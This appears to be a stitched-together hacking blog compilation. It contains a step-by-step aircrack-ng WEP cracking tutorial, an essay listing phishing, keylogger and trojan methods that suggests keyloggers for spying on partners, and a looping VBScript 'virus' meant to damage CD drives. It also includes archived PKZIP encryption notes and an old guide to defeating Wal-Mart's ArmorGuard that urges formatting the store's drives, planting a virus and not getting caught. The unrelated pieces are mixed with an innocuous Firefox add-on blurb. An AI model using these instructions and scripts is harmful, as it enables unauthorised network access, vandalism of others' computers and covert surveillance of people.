How to Shutdown Computer automatically Using Firefox Auto Shutdown Add-on

4222061665 632c48d187 o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onFirefox is the top most world widely used web browser. Because it is handy and have lots of features though its add-on and extension. Sometimes we download files using Firefox and on the same time we need to go for some work. So until we come back the computer waste the energy. In this situation we can use Firefox Auto shutdown the computer when downloads are completed and helps us to save electric power.

4222067729 241056e744 How to Shutdown Computer automatically Using Firefox Auto Shutdown Add on

Auto Shutdown is a cool Firefox add-on which controls your active download and shut down the computer when downloads are completed through is auto executing user script. Not only this but if Firefox is running idle it also shut downs the pc 4222074655 e22c0502ae o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onautomatically with pre defined shut down time.

If you are using Downthemall Firefox extension for downloading movies, video, music and images from web then you can easily integrate Auto shutdown Firefox extension with downthemall add-on.

Download Auto shutdown Firefox Add-on

Simple Wi-Fi WEP Crack

wifi-300x189

Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Equipments used
Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6
starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…
Run:tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.
If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap
All Done! icon smile Simple Wi Fi WEP Crack [TUTORIAL]

How to hack Gmail account?

How to hack Gmail account ?

The Internets MOST ASKED QUESTION OF ALL TIME !
HOW CAN I HACK HOTMAIL/GMAIL/YAHOO/FACEBOOK
OK ?

Here is the “CORRECT” answer,
I’m merely disappointed by the number of technically illiterate people around the world. The most popular question in any hacking related site is “How to hack e-mail” its not tolerated in any security/hacking related forum and if asked you can expect to get a rant from people. the reason is simple because there are NO ways of hacking a e-mail address by easy means and the people who know this fact often get very annoyed when most people don’t understand WHY its NOT POSSIBLE

The hacking of a e-mail is possible when a person who owns the account gets hacked. the other way is to hack them directly from the e-mail servers which is most unlikely because these sites use sophisticated Intrusion Detection and highly skilled consultants who are up to date with exploits and patch’s. unless you are a real professional hacker its highly unlikely you will ever break into a e-mail server.

People MUST understand that there are NO PROGRAMS/SOFTWARE’S that can hack a e-mail password when you enter an e-mail address. to understand this better let me explain you how e-mail works
Lets say you have a gmail account
When you enter your username and password and hit login what happens is your outgoing e-mail server encrypts the login information and sends over the network to its destination which is a gmail server which can ONLY decrypt the encrypted credentials then these were checked against its database and if they match it will re direct you to your mail inbox. to authenticate you with the gmail server, it will send you a cookie ( a text file ) with a session ID to your browser confirming that you are authenticated so the gmail server.
So there was a time when e-mail servers gave the option to NOT to use SSL cause it slows down the e-mail. because of the time it takes to encrypt. it was a “happy time” for the hackers who simply used a wifi hotspot to sniff session ID and break into emails !!! why ? because If anyone sniffs your session ID he can use it to login into you mail WITHOUT the password because the session ID is the proof of authentication as I mentioned earlier ^ but with almost all the e-mail servers NOW use a SSL encryption and the Session ID is also encrypted so by sniffing its NOT possible to decrypt the ID !
So there goes Packet Sniffing 
You may ask so what ? why the encryption cannot be cracked ?
Because The encryption uses Hypertext Transfer Protocol over Secure Socket Layer and public/Private key encryptions technique which is almost impossible to crack. Do some Research on these terms and you will know why its not possible to crack.

So now the next possible way is to somehow hack into the gmail servers and pull the password hash’s and then crack them. well, sadly not many people have succeeded doing it because its highly impossible and way too risky
Now after reading all this you might have a slight idea why I ask people who claim “they can hack any e-mail” to prove it !! so if you can make a program that can somehow bypass all the security and bring the password from the gmail server then you deserve a noble prize !!!

NOW ASK ME HOW TO HACK A E-MAIL ?

Ok you clearly know its almost impossible but the good news is that its possible to hack a individuals computer or a web server. most people lack of common sense and so many people have NO technical knowledge whatsoever. so by hacking them its possible to steal their passwords.

Because we can’t hack the password from the servers but we can hack it from the people who use it..
There are so many ways..
here are some of the methods,

1. Fake Login page – Fake page also known as phishing. This process involves creating a fake login page of a certain e-mail and tweaking the password authentication process so when the user inserts login details it will be sent to the hacker. This is the easiest way to hack when the victim has no technical knowledge.

2. Social Engineering – Humans have certain weaknesses and this process involves exploiting someone’s weakness to retrieve a credential such as a password. for an e.g: There are many incidents in the past like once when a hacker phoned a employee of a company (victim) and identified himself as the Technical Engineer of that company and instructed the employee (victim) to follow a set of FAKE system error checking and eventually received his login password from him by simply convincing him to reveal them. its just simple as that/ it does takes lot of confidence and skill.

3. Keylogger – Its an application which runs hidden from a user in the background and logs/records all the keystrokes of a user. when a user types something it will be recorded and saved. when the system goes online the recorded details will be sent to the hacker. which can contain a e-mail login detail. the keyloggers are outdated and most of them are detected by anti-virus programs. but when used in a LAN network or when the hacker has physical access to a system it proves to be effective. so if your girlfriend/boyfriend is cheating on you this is the way to go.. but I still think smart people don’t keep “cheating related e-mails in their inbox” he he
The downfall of keyloggers are that not many keyloggers can be deployed remotely and they are often picked by anti-virus programs (which can be avoided by using code obfuscation or packing/crypting, changing Entry point..but its more complex)
Another downfall of keylogger is that most of them don’t use any encryption and the data is sent as it is, with a skilled reverse engineer its possible to track down the hacker by breaking the file and analysing the code.

4. Trojans – Programs which are often known as backdoors. these programs are similar to keyloggers but they can execute certain commands sent by the hacker. most Trojans have a built in password stealer which is an application that can steal stored browser passwords. also in addition they have far more sophisticated functions such as webcam capture (YES the hacker can see you when you pick your nose) ability to browse/download/edit your files and folders, audio recording, etc.. different Trojans have different functions. All hacker has to do is create a server and send it to the victim and once the victim opens the file it will drop into the victims system and connect to hackers client. now he can issue commands to his server which is in the victims computer and manipulate it whatever the way he likes.
Trojans are very easy to use and most of them use encryption and security evasion techniques and there are TONS of tutorials all over internet if anyone interested in using them.

I hope I have covered enough information. so next time when you see someone asking “How to hack email” Please point it to this thread. so he/she don’t waste his/her time and money.
My advise is if you have a personal issue such as cheating/breaking up I encourage you to sort them by other means. or maybe Go see a doctor. if she dumped you.

Virus That Ejects your CD/Dvd Drive Again and Again.

Try at your own risk. I am not responsible for your own deeds. For educational purpose only.

In this blog i will show you how to create a Virus That Ejects your CD/Dvd Drive Again and Again.. Its not a prank… This Can Damage your CD/Dvd Drive…

Here is the code:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Write this code in notepad and save it as anything.vbs
Virus created. Now you just need to click it and Enjoy….

The Security of PKZIP Encryption

Article 357 of sci.crypt:
Xref: vpnet comp.compression:174 sci.crypt:357
Path: vpnet!tellab5!laidbak!ism.isc.com!ispd-newsserver!rpi!crdgw1!uunet!maverick.ksu.ksu.edu!matt.ku.edu!parsons
From: parsons@matt.ksu.ksu.edu (Ghost in the Machine)
Newsgroups: comp.compression,sci.crypt
Subject: Re: Security of PKZIP’s encryption
Message-ID: <1991Apr2.070810.10812@maverick.ksu.ksu.edu>
Date: 2 Apr 91 07:08:10 GMT
References: <1991Mar26.150049.20882@athena.cs.uga.edu>
Sender: news@maverick.ksu.ksu.edu (The News Guru)
Organization: Kansas State University
Lines: 135

is@athena.cs.uga.edu (Bob Stearns) writes:

>While I commonly recommend PKZIP ™ for saving space on a hard disk, I have
>been asked how strong its encryption (-spassword) option is. I have no way of
>testing this and wonder if anyone out there in net land has investigated it.
>If you have investigated the actual code and can explain the general algorithm
>I can form my own opinion of its strength.

Here’s what I found floating around on my roomates computer in the
PKzip archive file. This should help you to pass judgement on the security
of the password encryption.

DISCLAIMER: This is part of the application notes for PKZIP. Much
has been deleted about the actual compression algorithm, and only the
relevent part about password encryption remains.

Decryption
———-

The encryption used in PKZIP was generously supplied by Roger
Schlafly. PKWARE is grateful to Mr. Schlafly for his expert
help and advice in the field of data encryption.

PKZIP encrypts the compressed data stream. Encrypted files must
be decrypted before they can be extracted.

Each encrypted file has an extra 12 bytes stored at the start of
the data area defining the encryption header for that file. The
encryption header is originally set to random values, and then
itself encrypted, using 3, 32-bit keys. The key values are
initialized using the supplied encryption password. After each byte
is encrypted, the keys are then updated using psuedo-random number
generation techniques in combination with the same CRC-32 algorithm
used in PKZIP and described elsewhere in this document.

The following is the basic steps required to decrypt a file:

1) Initialize the three 32-bit keys with the password.
2) Read and decrypt the 12-byte encryption header, further
initializing the encryption keys.
3) Read and decrypt the compressed data stream using the
encryption keys.

Step 1 – Initializing the encryption keys
—————————————–

Key(0) <- 305419896 Key(1) <- 591751049 Key(2) <- 878082192 loop for i <- 0 to length(password)-1 update_keys(password(i)) end loop Where update_keys() is defined as: update_keys(char): Key(0) <- crc32(key(0),char) Key(1) <- Key(1) + (Key(0) & 000000ffH) Key(1) <- Key(1) * 134775813 + 1 Key(2) <- crc32(key(2),key(1) >> 24)
end update_keys

Where crc32(old_crc,char) is a routine that given a CRC value and a
character, returns an updated CRC value after applying the CRC-32
algorithm described elsewhere in this document.

Step 2 – Decrypting the encryption header
—————————————–

The purpose of this step is to further initialize the encryption
keys, based on random data, to render a plaintext attack on the
data ineffective.

Read the 12-byte encryption header into Buffer, in locations
Buffer(0) thru Buffer(11).

loop for i <- 0 to 11 C <- buffer(i) ^ decrypt_byte() update_keys(C) buffer(i) <- C end loop Where decrypt_byte() is defined as: unsigned char decrypt_byte() local unsigned short temp temp <- Key(2) | 2 decrypt_byte <- (temp * (temp ^ 1)) >> 8
end decrypt_byte

After the header is decrypted, the last two bytes in Buffer
should be the high-order word of the CRC for the file being
decrypted, stored in Intel low-byte/high-byte order. This can
be used to test if the password supplied is correct or not.

Step 3 – Decrypting the compressed data stream
———————————————-

The compressed data stream can be decrypted as follows:

loop until done
read a charcter into C
Temp <- C ^ decrypt_byte() update_keys(temp) output Temp end loop In addition to the above mentioned contributors to PKZIP and PKUNZIP, I would like to extend special thanks to Robert Mahoney for suggesting the extension .ZIP for this software. References: Storer, James A. "Data Compression, Methods and Theory", Computer Science Press, 1988 Held, Gilbert "Data Compression, Techniques and Applications, Hardware and Software Considerations" John Wiley & Sons, 1987 X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X Another file downloaded from: The NIRVANAnet(tm) Seven & the Temple of the Screaming Electron Taipan Enigma 510/935-5845 Burn This Flag Zardoz 408/363-9766 realitycheck Poindexter Fortran 510/527-1662 Lies Unlimited Mick Freen 801/278-2699 The New Dork Sublime Biffnix 415/864-DORK The Shrine Rif Raf 206/794-6674 Planet Mirth Simon Jester 510/786-6560 "Raw Data for Raw Nerves" X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

Hacking the Wal-Mart Armorguard Computer Protection System

HACKING THE WAL-MART ARMORGUARD
COMPUTER PROTECTION SYSTEM.

***NOTE***
To use this, you must have a system disk (i.e. a disk that has been
formatted using [format a: /s]) in 3.5″ format under Windows 95, because that
is what they sell all of their computers with.

***NOTE***
In this file, instructions to be input into the computer are surrounded
by [ and ]. Keys are surrounded by < and >. So if I say “hit [] I
mean to hold down the control button and hit F1.

The armorguard is a program that prevents you from writing to the
directories, changing the attributes of files, and deleting files. It
basically prevents you from doing anything cool.

The first thing to do is to go into Wal-Mart. Now, go to the
computer section and turn off the screen saver. Shut down as many apps as
you can with the [] and then choosing a program and
hitting enter. You cannot simply do this to the ArmorGuard program.

The next thing to do is to go to the DOS PROMPT. Most Wal-Marts
take the mouse ball out of all of the display mice to make it harder to
control the system. If you are adept at putting your finger inside the mouse
and controlling it that way, fine. Otherwise, just hit [].
This activates the start menu. Select “Programs”, hit enter, then go down to
near the bottom of the “Programs” menu and select “MS-DOS PROMPT”. Hit enter.

Now you are in a DOS window and in the C:\Windows directory. Hit
[cd..] and then hit [fdisk /mbr], which restores the master boot record,
preventing the password prompt from coming up when you reset the computer.

Now just hit [] twice (once gets you to task manager,
twice reboots) and wait. When you see

Starting Windows 95…

on the screen, hit [] really fast just once, then choose “Verify
each step” (or something to that effect), usually choice number 4. It will
give you an A: prompt and say “Please give the path of your command interpreter,
i.e. C:\WINDOWS\COMMAND.COM”. At this point, put the system disk you have
made in the drive and hit [A:\COMMAND.COM]. Say “Yes” to everything except
the following:

Log this bootup? (Bootlog.txt)? (y/n)
C:\armguard.exe? (y/n)
(***OR ANYTHING ELSE STARTING WITH “C:\ARM”, LIKE “C:\ARMOR”,
for instance.)

If you have done this right, ARMGUARD SHOULDN’T COME UP AT ALL. If
it does, hit “command prompt only” instead of “Verify each step” and then
specify C:\AUTOEXEC.BAT and C:\CONFIG.SYS if it asks for the configuration
and the startup file. (IN THE OPPOSITE ORDER. CONFIG.SYS IS THE CONFIG FILE,
AUTOEXEC.BAT IS THE STARTUP FILE.) Then immediately hit [] and it will
give you step-by-step confirmation for each item. See above for the ones
to say no to. Then you want to hit

[C:\WINDOWS\COMMAND\EDIT.COM C:\WINDOWS\WIN.INI]

and the DOS edit program will come up. Choose “Search” and hit “Find” and
then tell it to find ARM and make sure it’s NOT on match whole word only.
Delete any line with ARM in it that looks like a part of ArmorGuard. This
should prevent it from coming up on Windows.

*******IF NONE OF THIS WORKS, YOU HAVE TO TAKE THE READ-ONLY AND ARCHIVE
ATTRIBUTES OFF OF THE WIN.INI, SYSTEM.INI, AUTOEXEC.BAT, AND CONFIG.SYS FILES
BY HITTING [ATTRIB -A -R (c:\WHATEVERFILE.YOUWANTTODOTHISTO)]

*******I’D ALSO RECOMMEND EDITING THE AUTOEXEC.BAT FILE TO PREVENT ARMGUARD
FROM EVER COMING UP AGAIN.

****************THINGS TO DO AFTER HACKING ARMORGUARD***********

Hmmm….
USE YOUR IMAGINATION!

Think of this: Hit “shut down in MS-DOS mode” or start up in MS-DOS mode,
put your boot disk in drive a: and hit the following commands

[A:]
[FORMAT C:]

and then confirm this. You have just started the permanent erasing of
EVERYTHING on the hard drive. You can also do some other cool stuff with
it too, just basically IF YOU WOULD DO IT TO SOMEONE YOU HATE, DO IT TO
WAL-MART. Personally, I’d think that INSTEAD OF ERASING THE HARD DRIVE, I’D
WRITE A VIRUS AND PUT IT ON THE COMPUTER. THAT WOULD REALLY BE MORE FUN.
JUST STORE IT ON A FLOPPY AND COPY IT.

HAVE FUN, DON’T GET CAUGHT.
SINCERELY,
KwAnTAM_PoZeEtrON